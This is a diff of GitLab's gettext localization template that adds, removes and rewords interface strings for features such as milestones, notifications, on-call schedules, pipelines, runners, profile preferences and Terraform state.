msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17476,6 +17877,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17581,6 +17985,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17614,12 +18021,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17677,7 +18078,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17773,6 +18174,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17904,6 +18308,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17937,6 +18344,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18162,7 +18572,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18316,6 +18726,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18421,9 +18834,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18607,9 +19017,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18646,6 +19053,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18664,6 +19074,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18676,6 +19089,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18715,6 +19131,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18751,9 +19170,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18769,6 +19194,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18778,6 +19206,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18904,6 +19335,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18919,9 +19377,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18946,9 +19401,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18961,6 +19413,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18970,7 +19428,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18995,9 +19453,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -19079,6 +19534,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19145,9 +19603,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19193,6 +19648,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19349,6 +19807,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19463,6 +19924,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19487,9 +19951,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19754,6 +20215,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19862,9 +20326,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19910,6 +20371,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19922,6 +20386,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19931,6 +20398,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20156,6 +20629,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20165,9 +20641,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20330,18 +20803,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20351,9 +20818,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20375,9 +20839,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20432,6 +20893,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20561,6 +21025,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20570,6 +21052,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20600,6 +21085,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20957,9 +21445,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21212,7 +21697,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21254,6 +21742,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21314,9 +21805,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21338,6 +21826,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21407,6 +21901,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21788,6 +22285,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -22103,6 +22603,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22256,6 +22759,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22341,9 +22847,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22420,6 +22923,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22447,9 +22953,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22654,9 +23157,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22672,15 +23172,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22759,6 +23256,16 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22793,6 +23300,13 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22844,6 +23358,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22874,12 +23391,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22907,6 +23430,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22940,10 +23466,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -23065,12 +23591,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23197,6 +23729,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23237,6 +23772,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23259,6 +23797,9 @@ msgstr[3] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23328,6 +23869,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23391,12 +23935,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23424,9 +23962,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23529,12 +24064,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23553,7 +24082,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23610,15 +24139,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23721,6 +24244,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23760,9 +24286,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23864,6 +24387,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -24050,6 +24576,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24216,6 +24745,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24333,9 +24868,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24678,12 +25210,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24726,21 +25252,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24759,6 +25294,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24855,9 +25393,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24912,13 +25447,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24949,6 +25487,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -25046,10 +25587,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -25100,6 +25644,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25211,9 +25758,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25259,7 +25803,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25340,10 +25884,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25625,10 +26172,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25652,6 +26199,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25769,9 +26319,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25931,6 +26478,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -26099,6 +26658,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -26108,6 +26670,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26156,6 +26721,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26330,6 +26898,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26498,9 +27069,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26540,6 +27108,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26554,24 +27125,48 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
